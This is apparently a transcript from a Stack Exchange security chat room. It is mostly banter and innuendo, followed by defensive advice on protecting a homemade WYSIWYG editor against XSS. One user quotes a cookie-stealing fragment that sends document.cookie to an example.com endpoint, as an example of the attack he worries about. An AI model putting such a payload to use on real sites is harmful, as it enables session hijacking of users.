The DMZ

Lucas Kauffman

21:00

@RоryMcCune COBOL only speaks ASCII

KnightOfNi

@JohnP Strangely, "besides the point" turns up more than twice the number of Google results as "beside the point," but the content of said results seems to indicate it is "beside"

Thomas Pornin

@JohnP I think both work here,.

"Beside" is a preposition. "Besides" can be a preposition and also an adverb.

So "beside something" and "besides something" are both possible, and, as far as I can tell, have similar meanings.

Lucas Kauffman

I see

Thomas Pornin

But "besides" can be used alone, while "beside" cannot.

Gilles

@KnightOfNi Google web search does not present reliable counts of multi-word expressions

books.google.com/ngrams/…

“beside the point” >> “besides the point”

Lucas Kauffman

21:07

ok then

KnightOfNi

TIL...

JohnP

@LucasKauffman Yeah, but in COBOL you can do neat things like "PERFORM CAESAREAN SECTION" or "PERFORM VIVI SECTION" (Yes, I named my sections that way in my class :p)

2

TildalWave

@JohnP no PERFORM DRUM SECTION?

JohnP

@TildalWave No. Drummers don't perform, they are used to level stages (Look to where the drool is running).

@ThomasPornin A search on English.SE turns up almost no hits for besides the point in usage, and many many for beside the point.

@TildalWave Anyway, I learned to play drum (Bodhran) long after I learned Cobol.

Jeff Ferland

21:25

:D for section names

David Freitag

@JohnP Perhaps you should ask them which is the proper way.

kalina

one of my ssds just failed!

David Freitag

@kalina I have only had that happen to me once in my life. My condolences.

Jeff Ferland

/me furiously works on his backup scripts

kalina

I only noticed because Chrome refused to download a file

incidentally

if Chrome's download location doesn't exist

Rоry McCune

21:28

@kalina yikes! bummer what model was it?

kalina

it just does nothing.

Doesn't even tell you there's a problem, you click download on a site and nothing happens

Rоry McCune

hey any of you crypto types heard of the "Disallowed CTL" in Windows hexatomium.github.io/2015/09/22/expires-25h ?

kalina

@RоryMcCune a first generation OCZ something or other - it was only a 64gb drive and it's had a long life

David Freitag

Yup same thing happened to me on a first generation 32GB intel SSD

kalina

and it's been absolutely battered recently as well, since it has been my temp location and download location

Rоry McCune

21:30

@kalina that's weird, but yeah relatively old for an SSD and I guess those early generation ones would be more dodgy than the newer ones..

David Freitag

@kalina Did it go into lockout read-only mode, or did it fill its pants and give up?

kalina

@DavidFreitag just dead

doesn't even detect in bios

David Freitag

Heh, same thing happened to my intel one

JohnP

w00t. 32 views until a shiny new gold badge.

David Freitag

@JohnP Must. Resist. Viewing.

Rоry McCune

21:34

@kalina bummer, hope you didn't lose anything important!

kalina

nope

Rоry McCune

disk failures are always a bit painful

David Freitag

@JeffFerland Yeah but what if, like, your backup fails, man!

kalina

@RоryMcCune not wanting to jinx anything but in all honesty the painful bit is I have no movies to watch tonight now

Jeff Ferland

@DavidFreitag No more $company

JohnP

21:36

@DavidFreitag You mean you don't maintain a tertiary backup?

David Freitag

@JohnP Yeah but what if, like, your backup for your backup fails, man!

JohnP

@RоryMcCune Why is your name in italics?

kalina

@JohnP you're such a noob

Rоry McCune

@kalina argh, you'll need to resort to random youtube vids if you're not careful :op

kalina

do you guys not get given a handbook or something

Ced

21:36

Hey can I ask a specific question on security stack exchange ? a question that is not really general but is important for me for an use case ?

JohnP

@kalina true. point?

kalina

you know where the ban button is but you don't know why names show in italics?

I mean srsly

David Freitag

@Ced Sure, but for good measure you should ping @ThomasPornin while you're at it.

Rоry McCune

@JeffFerland my exp. has been that people only ever get backup religion after a serious data lose...

kalina

@JohnP Room owners for the specific room are shown in italics

Rоry McCune

21:37

it's like security

JohnP

@kalina Thanks.

kalina

@JohnP :p~

Ced

@DavidFreitag what do you mean ping thomas ?

kalina

@Ced he's awesome and knows everything

David Freitag

@Ced He is the most knowledgeable person in the room.

JohnP

21:38

@kalina I think @RоryMcCune is ignoring me after my Scots bashing earlier. :p

kalina

like the oracle of information security and cryptography

David Freitag

and grammar, apparently.

kalina

@JohnP I'm sure it would take more than that for a Rory to ignore you

JohnP

@kalina Can you say Oracle and Information Security in the same sentence?

kalina

I just did

Ced

21:38

@DavidFreitag I don't see any thomas in the chat. I'm not sure what you mean by ping him.

kalina

@Ced don't get too confused by it, if you have a question you may ask it

Ced

aight

JohnP

@ced - He already did. When you type @ before someones name in chat, if they have been in the room recently it alerts them to the message.

David Freitag

@Ced Ah, it's chat jargon for send him a message. He'll get the message.

Ced

oh nice

David Freitag

21:40

Look at us being so friendly and helpful.

kalina

I don't think this has been particularly friendly or helpful

JohnP

@DavidFreitag It's a mood thing. I'm sure it will pass.

kalina

he's 10 sentences in and still hasn't got an answer to a question that he hasn't asked yet!

It's almost like you're trying to confuse this person on purpose

David Freitag

Well there hasn't been any profanity or jokes at his expense, so I count it as a win.

JohnP

@kalina That's why we need an oracle.

Arperum

21:40

Asking the question might help in getting an answer indeed.

kalina

@DavidFreitag well profanity is just something that happens

David Freitag

@kalina Yeah but some people think it's unfriendly for some reason.

JohnP

@kalina Profanity? Or vulgarity or obscenity? There is a difference.

David Freitag

I mean come on, what's wrong with a good knob joke every now and then.

kalina

I don't understand the difference between the things you're suggesting

David Freitag

21:43

@JohnP My answer on mechanics.SE didn't get voted into oblivion. thanks! :b

kalina

I upvoted you

also 10 is hardly oblivion

would you explode if you got to 100?

JohnP

@kalina Profanity generally involves something offensive to a religion. Obscenity is generally sexual or scatalogical in nature. Vulgarity is substituting offensiveness in place of innocuousness

David Freitag

@kalina I have an answer with 60 something votes, so probably not.

kalina

@JohnP you're making everything overly complex, nobody should have to think about all of these things when they want to outburst into swearing

David Freitag

^

JohnP

21:45

@kalina Some of us don't have to think about it, we just know.

kalina

fuck.

touché

also

#borednow

and we're still a questionless chat room

David Freitag

@JohnP Some of us are born with useful knowledge, like how to correctly play with knobs.

kalina

how to ensure your reverb doesn't get caught up in the 400hz range and muddy up your track

also, the obligatory...

playing with knobs is my favorite thing

David Freitag

@kalina That's not what I meant. I wasn't entirely sure what I thought was correct was actually correct. @JohnP reassured me and I posted it.

kalina

@DavidFreitag is that a euphemism?

David Freitag

21:47

I swear, I'll hit 2k eventually.

@kalina You know it.

Rоry McCune

@kalina isn't everything?

Ced

@ThomasPornin Someone told me to "ping" because apparently you are the smartest fella around. I'd appreciate if you could check this out : security.stackexchange.com/questions/100916/…

kalina

well not everything

see look, this individual asked their question

and then pinged @ThomasPornin, who is certainly not going to be happy about being disturbed during hibernation

I can't believe you made him do that

David Freitag

@kalina He's not hibernating, just a quick nap.

kalina

you don't know that for certain

what do we even know for certain?

is any of this real?

what's the point of all of this?

David Freitag

21:51

Woah, I passed 2k a while ago.

Rоry McCune

@Ced FWIW, I'd recommend against allowing HTML in user generated content if you're worried about XSS. Even if your tag list is fine now, browser vendors add things all the time

kalina

@DavidFreitag well if you throw enough shit against the wall, some of it will eventually stick

David Freitag

@kalina Not if the wall is made out of teflon.

JohnP

@Ced - Everything is potentially dangerous.

Rоry McCune

@Ced a better approach is allowing something like markdown or bbcode and then convert that to HTML yourself

@Ced so you have control over the generation process

Ced

21:52

I see, but the thing is that it is a "what you see is what you get" editor

kalina

@DavidFreitag there is no such thing as a teflon wall, that's just being silly

@Ced is WYSIWYG even still a thing

that's so 90s

Ced

Is it lol ?

kalina

I don't know, I'm just a pony

Ced

Well I'm bringing it back

kalina

#bringwysiwygback doesn't have much commercial ring to it

JohnP

21:53

@kalina Actually, there is. You can get interior Teflon impregnated paint.

Ced

90 was awesome anyway

Rоry McCune

@Ced ah that's the danger of using off-the-shelf components, you're somewhat bound by what they provide ...

KnightOfNi

@kalina Sure, for android, C#, and VBS..

kalina

1/10 would not retweet

David Freitag

@JohnP Yes this

Ced

21:54

@RоryMcCune I made the editor myself.

kalina

@JohnP now that is silly...

David Freitag

I vow to one day have a room in the building that I live in that is 100% coated in teflon. For funzies.

kalina

@Ced so then you have full control over all of the stuff that the thing creates

JohnP

@kalina Not if you're a parent.

Rоry McCune

@Ced in that case couldn't you use markdown for it :)

kalina

21:54

the solution is to implement markdown or something

here is some quick googles for you daringfireball.net/projects/markdown

Rоry McCune

@ced stackedit.io such things are definitely possible :)

@kalina was the swift delete so that only curious mods would go click that?

kalina

no I was exercising a new level of restraint

where I got the satisfaction of linking the link but removed it before any damage was caused by completely innocent bystanders

Rоry McCune

@kalina ah and here was me going to applaud you for the well played ruse :op

kalina

well I can't admit to that intention, I'd probably get banned

so... misdirection

Rоry McCune

@kalina nice

kalina

21:57

;)

Ced

@RоryMcCune I'd say I've half control over it. The document is still accessible by the dev tool and can be changed to anything.

kalina

ah well there's the vulnerability just there

Rоry McCune

@Ced well if you can control the format, I'd say avoid HTML if you're worried about XSS. you only have to look at places like html5sec.org to get an idea of how complex blocking JavaScript in HTML is

David Freitag

The whole of existence is a vulnerability. It must be patched.

kalina

I agree

let's kill all existence

Rоry McCune

21:59

@kalina this is getting all Matrix now

Ced

@RоryMcCune I see, that's quite annoying, I should have thought about that BEFORE finishing my editor

kalina

@RоryMcCune I'm going to hang up this phone, and then I'm going to show these people what you don't want them to see

David Freitag

@kalina Oooh goody gets some popcorn

Rоry McCune

@Ced ahh , sorry about that ;) well in principle your white-list approach will be better than trying to create a blacklist which is always doomed to failure, but you'll still need to watch out I'd guess

@DavidFreitag I don't think that was a line from the Matrix

David Freitag

@RоryMcCune You didn't watch the deleted scenes then.

Rоry McCune

22:01

although didn't the crew eat popcon when neo was fighting morpheus at first

kalina

@RоryMcCune are you serious?

oh the popcorn

anyway LOOK

Rоry McCune

@kalina yeah the popcorn

David Freitag

@kalina MY EYES

Rоry McCune

@kalina it's a new fierce pony!

M'vy

@kalina new makeup ?

JohnP

22:02

@kalina That....is......GORGEOUS!!!!!!!!!!

kalina

-.-

Rоry McCune

who's eyes are (lets see if I can use the young person phrase correctly) "On fleek"

David Freitag

@JohnP Brony much? Hehehehe... Ahem.

kalina

I'm going, you guys are too weird

David Freitag

lol

JohnP

22:03

@DavidFreitag Nope. Not at all, never seen an episode.

Rоry McCune

good call 'tis getting late

Ced

@RоryMcCune thanks. I think I'll go the safe route and rebuild.

Rоry McCune

and my whisky glass is almost empty

kalina

@RоryMcCune don't do this, it's not normal

even if you have daughters

David Freitag

@RоryMcCune there is an easy solution to that particular problem.

Rоry McCune

22:03

@kalina yeah I only do it in an intentionally ironic way to make young people twitch when I misuse the phrases :op

David Freitag

@RоryMcCune hwat

Rоry McCune

@DavidFreitag it's a young person phrase

JohnP

@RоryMcCune Enjoy your next glass :)

Rоry McCune

it means good or something

David Freitag

@RоryMcCune I guess that makes me a fogey

kalina

22:04

it means flawless

Rоry McCune

@DavidFreitag comes to us all

David Freitag

Unlike you people, I embrace my inner fogey.

JohnP

@DavidFreitag Who is busy with knobs anyway.

kalina

fogeys

David Freitag

@JohnP Always busy with the knobs.

kalina

22:05

I'm shocked nobody starred my knobs comment

Rоry McCune

@DavidFreitag I'm sitting drinking neat whisky, I think that means I've embraced my inner fogey (unless that's now a cool young person thing to do)

kalina

actually I'm not

@RоryMcCune hipster

David Freitag

Although, it could just be that I'm busy being busy at the bottom of the sea to not be a fogey.

Rоry McCune

@kalina lol

JohnP

@kalina I'm shocked nobody has ever starred your knobs.

David Freitag

22:06

@kalina That's exactly what I was just going to say...

Rоry McCune

right my glass is empty and I've got an early start, night all.

kalina

@JohnP pls

Rоry McCune

o/

kalina

my other is my love for penetration testing

David Freitag

@RоryMcCune \o

JohnP

22:06

\o

kalina

@RоryMcCune night

David Freitag

I have no experience with penetration testing. Is it fun?

JohnP

@RоryMcCune L8r

kalina

@DavidFreitag if it's done correctly it can be extremely satisfying, yes

JohnP

@DavidFreitag Depends on if you are the penetrator, or the penetratee.

David Freitag

22:07

@kalina Yeah I'd probably muck it up...

@JohnP Doesn't that really rely on personal preference though?

kalina

@JohnP plz r u rly txting in hr wif us coz thts ...

David Freitag

@kalina I read that and puked a little. Ok, a lot. I need help.

kalina

@DavidFreitag whether it's satisfying is down to personal preference?

David Freitag

@kalina Presumably

kalina

mind=blown

David Freitag

22:10

Well I don't think it has anything to do with what kind of script you have

kalina

David Freitag

Ah, that happiness, it burns the retinas

Simon

224 MESSAGES?

PLS LADS I WUZ EATING DINNER

kalina

@Simon not our fault you're idle

David Freitag

@Simon Well, while you were gone we destroyed and rebuilt the whole of existence, then we had a casual conversation about knobs.

4

Simon

22:20

wot

M'vy

22:34

hm

I can jQuery!

// ==UserScript==
// @name Kalinice
// @match *://chat.meta.stackexchange.com/rooms/*
// @match *://chat.stackoverflow.com/rooms/*
// @match *://chat.stackexchange.com/rooms/*
// @version 1
// @grant none
// ==/UserScript==
$('#chat .user-40979 .message .content').livequery(function () {
this.innerHTML += " :)";
})

cc @Kalina

Thomas Pornin

@Ced Aaaah, flattery. I know that. Please continue.

David Freitag

Oh wow that got super starred while I was gone.

Thomas Pornin

For your question, I'd be wary about the "style" attributes. Apparently, it is possible to trigger some custom Javascript through CSS, so, technically, from a "style" attribute too.

See this: stackoverflow.com/a/3613162/254279

Theoretically, modern browsers apply some sort of same-origin policy in that case, but they did not always do it, and even if the damage is limited to your site, well, it is still damage.

In other words, I suggest applying a similar whitelist system to the contents of the "style" attributes as well.

Ced

23:00

@ThomasPornin Thanks a lot. What about the href attribute of img ?

Thomas Pornin

@Ced It will trigger an HTTP GET request at the target chosen by whoever writes the message

If the target is for a very large file (say an ISO image for a very big operating system) then it can suck up people's bandwidth

Ced

@ThomasPornin I know :D But during my researches in the subject I think I saw it is potentially dangerous but I'm not entirely sure of what I rea

Thomas Pornin

or if there are many viewers, this can be a very crude DoS against some small target site

Whatever is downloaded will be interpreted as an "image"

Some libraries for figuring out some image formats have had security holes at some point

Ced

Yeah but that's not really a problem, most site allow images from link from what I saw

Thomas Pornin

But this is hardly more dangerous than any form of browsing

Ced

23:04

I was worried about something like this : example.com/steal_cookie?c="+encodeURI(document.cookie);

well it got parse

Thomas Pornin

Your parsing library is supposed to implement proper parsing

SVG images are scriptable, but I suppose browsers apply proper constraints to what that Javascript can do.

Ced

So, if I strip out the style attribute, you'd guess I'd be on the same safe level as a custom markup like SO ?

Assuming jsoup actually works

Thomas Pornin

I suppose so. At least you should be no worse than half of the Web, which is, at the very least, a consolation.

Ced

23:30

@ThomasPornin it actually is a consolation. :D Thanks for your time. I actually started making my website last june, my first website with basic java, js, html, css knowledge. Sometimes I feel overwhelmed with the things I've to think about in the security departement, so it is indeed really reassuring. It took me 2 months to do a auth system with jaas lol

(I was unexperienced) now I've a working forum, friend request and whole lot more. My biggest fear though is that on release day everything goes to hell because of security issues and all my work was in vain. But well, I can't know if I don't do it.

Transcript for